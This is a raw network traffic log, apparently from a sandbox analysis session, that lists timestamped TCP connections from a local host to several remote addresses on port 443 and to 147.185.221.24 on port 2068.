Nov 23, 2024 21:13:16.315650940 CET	49974	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.315675020 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.397183895 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.400490999 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.403577089 CET	49969	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.403726101 CET	49969	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.403726101 CET	49969	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.403743982 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.403753996 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.406213045 CET	49975	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.406313896 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.407531977 CET	49975	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.407756090 CET	49975	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.407788992 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.542890072 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.543212891 CET	443	49970	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.543688059 CET	49971	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.543701887 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.544039965 CET	49971	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.544044971 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.546330929 CET	443	49970	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.547544956 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.547544956 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.547544956 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.551501036 CET	49976	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.551542997 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.551950932 CET	49976	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.552139044 CET	49976	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.552149057 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.847424030 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.847459078 CET	443	49970	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.988687992 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.991924047 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.991997004 CET	49971	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.992109060 CET	49971	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.992134094 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.992146969 CET	49971	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.992152929 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.996665955 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.996714115 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.996778011 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.997004032 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.997020006 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.068797112 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.069448948 CET	49972	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:17.069474936 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.070178986 CET	49972	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:17.070183992 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.555718899 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:17.556029081 CET	49973	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:13:17.556061029 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:17.556412935 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:17.556833029 CET	49973	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:13:17.556902885 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:17.598246098 CET	49973	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:13:17.622777939 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.625864983 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.625924110 CET	49972	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:17.625969887 CET	49972	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:17.625994921 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.626010895 CET	49972	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:17.626019001 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.629410028 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:17.629446983 CET	443	49978	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.629528046 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:17.629667044 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:17.629683018 CET	443	49978	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:17.844516039 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:17.847981930 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:17.964178085 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:17.967551947 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:17.971555948 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:18.051565886 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:18.182831049 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:18.254236937 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.254786968 CET	49974	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.254815102 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.255425930 CET	49974	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.255438089 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.300060987 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.303908110 CET	49975	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.303930998 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.304440975 CET	49975	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.304451942 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.462599993 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.463088036 CET	49976	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.463135004 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.463679075 CET	49976	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.463707924 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.707796097 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.711334944 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.711461067 CET	49974	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.711502075 CET	49974	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.711502075 CET	49974	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.711520910 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.711530924 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.715430975 CET	49980	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.715476990 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.715682030 CET	49980	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.719427109 CET	49980	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.719449043 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.752696991 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.755776882 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.759592056 CET	49975	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.759659052 CET	49975	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.759659052 CET	49975	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.759673119 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.759684086 CET	443	49975	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.763428926 CET	49981	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.763465881 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.765758038 CET	49981	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.766625881 CET	49981	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.766642094 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.917726994 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.921148062 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.921284914 CET	49976	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.921334982 CET	49976	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.921334982 CET	49976	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.921355963 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.921365023 CET	443	49976	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.930461884 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.930504084 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:18.930578947 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.930773973 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:18.930789948 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.035553932 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.036273956 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.036309004 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.037157059 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.037168026 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.474242926 CET	443	49978	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.474838972 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.474860907 CET	443	49978	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.475574017 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.475581884 CET	443	49978	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.494645119 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.499855995 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.499905109 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.499923944 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.499985933 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.500088930 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.500111103 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.500125885 CET	49977	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.500132084 CET	443	49977	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.504754066 CET	49983	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.504806995 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.504861116 CET	49983	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.505048990 CET	49983	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.505069017 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.917714119 CET	443	49978	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.920909882 CET	443	49978	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.921070099 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.921071053 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.921071053 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.925787926 CET	49984	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.925829887 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:19.925892115 CET	49984	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.926224947 CET	49984	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:19.926239014 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.235466957 CET	49978	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:20.235512018 CET	443	49978	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.587816000 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.593550920 CET	49980	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:20.593550920 CET	49980	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:20.593574047 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.593591928 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.762062073 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.764298916 CET	49981	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:20.764298916 CET	49981	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:20.764313936 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.764327049 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.767923117 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.772169113 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:20.772169113 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:20.772187948 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:20.772197008 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.064960003 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.068200111 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.068252087 CET	49980	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.068425894 CET	49980	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.068443060 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.068455935 CET	49980	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.068461895 CET	443	49980	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.071494102 CET	49985	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.071517944 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.071593046 CET	49985	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.071963072 CET	49985	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.071975946 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.210797071 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.214224100 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.214289904 CET	49981	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.214404106 CET	49981	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.214426994 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.214442015 CET	49981	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.214447021 CET	443	49981	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.218389988 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.218413115 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.218466997 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.218650103 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.218663931 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.219381094 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.219444990 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.219494104 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.219516993 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.219713926 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.219719887 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.219734907 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.220108032 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.220194101 CET	443	49982	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.220240116 CET	49982	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.222167969 CET	49987	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.222193956 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.222244024 CET	49987	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.222459078 CET	49987	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.222466946 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.328762054 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.345123053 CET	49983	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.345146894 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.345911026 CET	49983	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.345916033 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.865437031 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.866080999 CET	49984	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.866103888 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:21.866549015 CET	49984	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:21.866554022 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.054455996 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.057538033 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.057599068 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.059545040 CET	49983	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.059613943 CET	49983	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.059614897 CET	49983	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.059648037 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.059664011 CET	443	49983	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.065911055 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.065987110 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.070055962 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.073585987 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.073646069 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.301810026 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.307449102 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.307497025 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.307616949 CET	49984	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.307655096 CET	49984	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.307655096 CET	49984	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.307676077 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.307686090 CET	443	49984	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.314760923 CET	49989	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.314804077 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.314975977 CET	49989	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.315274954 CET	49989	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.315289974 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.965878010 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.966501951 CET	49985	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.966516972 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:22.967143059 CET	49985	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:22.967149019 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.073940039 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.075956106 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.075994015 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.076446056 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.076456070 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.166496038 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.171411991 CET	49987	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.171431065 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.172189951 CET	49987	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.172197104 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.426609039 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.430628061 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.430694103 CET	49985	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.459263086 CET	49985	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.459295034 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.459306002 CET	49985	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.459319115 CET	443	49985	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.463196993 CET	49990	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.463248968 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.463306904 CET	49990	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.463521004 CET	49990	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.463541031 CET	443	49990	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.473439932 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:23.508116961 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.513915062 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.513962984 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.513962984 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.514008999 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.548202991 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.548202991 CET	49986	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.548237085 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.548249006 CET	443	49986	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.594077110 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:23.619199038 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.624742985 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.624800920 CET	49987	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.703108072 CET	49987	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.703131914 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.703142881 CET	49987	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.703150034 CET	443	49987	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.711507082 CET	49991	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.711538076 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.711585999 CET	49991	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.713710070 CET	49991	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.713720083 CET	443	49991	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.715620041 CET	49992	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.715672016 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.715727091 CET	49992	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.715887070 CET	49992	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.715899944 CET	443	49992	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.891616106 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:23.932894945 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.933532953 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.933547974 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:23.934149027 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:23.934160948 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.017332077 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:24.017446995 CET	49979	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:24.044051886 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.045051098 CET	49989	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.045051098 CET	49989	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.045063972 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.045075893 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.143886089 CET	2068	49979	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:24.493004084 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.493066072 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.493170023 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.493212938 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.493422031 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.493422031 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.493433952 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.493630886 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.493669987 CET	443	49988	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.493766069 CET	49988	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.496213913 CET	49993	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.496272087 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.496511936 CET	49993	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.496680975 CET	49993	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.496694088 CET	443	49993	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.540525913 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.541181087 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.541306019 CET	443	49989	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:24.541322947 CET	49989	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:24.541382074 CET	49989	443	192.168.2.4	13.107.246.63
